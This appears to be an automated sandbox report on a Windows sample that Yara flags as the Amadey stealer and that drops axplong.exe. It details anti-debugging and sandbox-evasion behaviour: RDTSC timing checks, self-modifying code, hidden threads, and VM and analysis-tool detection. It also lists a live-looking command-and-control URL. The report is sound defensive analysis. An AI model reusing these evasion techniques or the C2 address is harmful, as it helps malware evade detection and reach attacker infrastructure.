Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0BF0 second address: 4DD0BF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0DEC second address: 4DE0E01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865D1C5551h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0E01 second address: 4DE0E11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0E11 second address: 4DE0E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0E15 second address: 4DE0E1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0E1B second address: 4DE0E60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F865D1C5557h 0x00000009 jmp 00007F865D1C5553h 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F865D1C5550h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0B57 second address: 4DE0B8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 0CC52604h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f jmp 00007F865CD192E9h 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F865CD192DDh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0B8F second address: 4DE0B9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865D1C554Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0B9F second address: 4DE0BA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E606EF second address: 4E606F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E606F5 second address: 4E6076D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F865CD192E9h 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F865CD192DEh 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F865CD192DDh 0x00000022 sbb cl, FFFFFF86h 0x00000025 jmp 00007F865CD192E1h 0x0000002a popfd 0x0000002b call 00007F865CD192E0h 0x00000030 pop eax 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50A63 second address: 4E50A7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865D1C5557h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E508F6 second address: 4E508FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF01A2 second address: 4DF01B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C554Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF01B1 second address: 4DF01C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865CD192E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF01C9 second address: 4DF01FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a call 00007F865D1C554Ah 0x0000000f mov edi, ecx 0x00000011 pop ecx 0x00000012 mov al, bl 0x00000014 popad 0x00000015 mov dword ptr [esp], ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F865D1C5555h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF01FD second address: 4DF020D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865CD192DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50C7D second address: 4E50C83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50C83 second address: 4E50C87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50C87 second address: 4E50C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e mov dx, 6E6Ah 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50C9A second address: 4E50D33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F865CD192DEh 0x00000009 adc al, 00000028h 0x0000000c jmp 00007F865CD192DBh 0x00000011 popfd 0x00000012 movzx ecx, di 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov dword ptr [esp], ebp 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F865CD192E1h 0x00000022 adc esi, 0A301346h 0x00000028 jmp 00007F865CD192E1h 0x0000002d popfd 0x0000002e pushfd 0x0000002f jmp 00007F865CD192E0h 0x00000034 xor cx, 8FE8h 0x00000039 jmp 00007F865CD192DBh 0x0000003e popfd 0x0000003f popad 0x00000040 mov ebp, esp 0x00000042 jmp 00007F865CD192E6h 0x00000047 push dword ptr [ebp+0Ch] 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D33 second address: 4E50D50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5559h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D50 second address: 4E50DB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d movzx eax, dx 0x00000010 mov dx, 051Ch 0x00000014 popad 0x00000015 call 00007F865CD192D9h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d movzx ecx, bx 0x00000020 pushfd 0x00000021 jmp 00007F865CD192E9h 0x00000026 sub esi, 7966F226h 0x0000002c jmp 00007F865CD192E1h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50DB3 second address: 4E50DB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50DB9 second address: 4E50DEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F865CD192E6h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F865CD192DEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50DEC second address: 4E50E2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C554Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c pushad 0x0000000d push edx 0x0000000e pop esi 0x0000000f pushfd 0x00000010 jmp 00007F865D1C5551h 0x00000015 add eax, 2AAA1E46h 0x0000001b jmp 00007F865D1C5551h 0x00000020 popfd 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50E2E second address: 4E50E41 instructions: 0x00000000 rdtsc 0x00000002 mov bx, 29D0h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50E41 second address: 4E50E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50E45 second address: 4E50E4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E005A8 second address: 4E005B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865D1C554Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E005B8 second address: 4E005E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F865CD192E7h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov esi, edi 0x00000015 mov si, bx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E005E3 second address: 4E005F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865D1C554Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E005F6 second address: 4E0062D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a jmp 00007F865CD192E5h 0x0000000f call 00007F865CD192D9h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F865CD192DDh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0062D second address: 4E00760 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5551h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F865D1C5557h 0x00000011 sub si, 4A5Eh 0x00000016 jmp 00007F865D1C5559h 0x0000001b popfd 0x0000001c jmp 00007F865D1C5550h 0x00000021 popad 0x00000022 mov eax, dword ptr [esp+04h] 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F865D1C5551h 0x0000002d or cx, 5346h 0x00000032 jmp 00007F865D1C5551h 0x00000037 popfd 0x00000038 pushfd 0x00000039 jmp 00007F865D1C5550h 0x0000003e or ch, FFFFFFE8h 0x00000041 jmp 00007F865D1C554Bh 0x00000046 popfd 0x00000047 popad 0x00000048 mov eax, dword ptr [eax] 0x0000004a jmp 00007F865D1C5559h 0x0000004f mov dword ptr [esp+04h], eax 0x00000053 pushad 0x00000054 call 00007F865D1C5557h 0x00000059 pushad 0x0000005a popad 0x0000005b pop esi 0x0000005c pushfd 0x0000005d jmp 00007F865D1C554Fh 0x00000062 or esi, 1209453Eh 0x00000068 jmp 00007F865D1C5559h 0x0000006d popfd 0x0000006e popad 0x0000006f pop eax 0x00000070 jmp 00007F865D1C554Eh 0x00000075 push 670FAF65h 0x0000007a push eax 0x0000007b push edx 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f popad 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00760 second address: 4E00764 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00764 second address: 4E0076A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0076A second address: 4E007D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F865CD192DBh 0x00000009 add si, 5FFEh 0x0000000e jmp 00007F865CD192E9h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F865CD192E0h 0x0000001a add ah, FFFFFFF8h 0x0000001d jmp 00007F865CD192DBh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 add dword ptr [esp], 1066FE9Bh 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F865CD192E0h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E007D6 second address: 4E007E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C554Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 42EAED instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 42C0E2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5EEEC0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 66D4EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 7FEAED instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 7FC0E2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 9BEEC0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: A3D4EA instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04E502E5 rdtsc

0_2_04E502E5

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 407			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 6714			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6932	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6932	Thread sleep time: -74037s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2860	Thread sleep count: 278 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2860	Thread sleep time: -556278s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5484	Thread sleep count: 407 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5484	Thread sleep time: -12210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6312	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6936	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6936	Thread sleep time: -92046s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2908	Thread sleep count: 6714 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2908	Thread sleep time: -13434714s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: axplong.exe, axplong.exe, 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: axplong.exe, 00000004.00000002.2605243731.0000000000E39000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2605243731.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1399245952.00000000005BC000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.1425381279.000000000098C000.00000040.00000001.01000000.00000008.sdmp, axplong.exe, 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04E502E5 rdtsc

0_2_04E502E5

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_007C645B mov eax, dword ptr fs:[00000030h]		4_2_007C645B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_007CA1C2 mov eax, dword ptr fs:[00000030h]		4_2_007CA1C2

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe"

Jump to behavior

Source: axplong.exe, axplong.exe, 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmp

Binary or memory string: HFQProgram Manager

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 4_2_007AD312 cpuid

4_2_007AD312

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 4_2_007ACB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

4_2_007ACB1A

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 4_2_007965B0 LookupAccountNameA,

4_2_007965B0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.axplong.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.axplong.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.1862874279.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1358005555.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1424184795.0000000000791000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1398782734.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1383917764.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	251 Virtualization/Sandbox Evasion	LSASS Memory	741 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	251 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	224 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	58%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
http://185.215.113.16/Jo89Ku7d/index.phpded	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php:	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpX	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpD	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php8	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php32	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpi	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php	100%	Avira URL Cloud	malware
http://185.215.113.16/Jo89Ku7d/index.php3	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phph	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpp	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

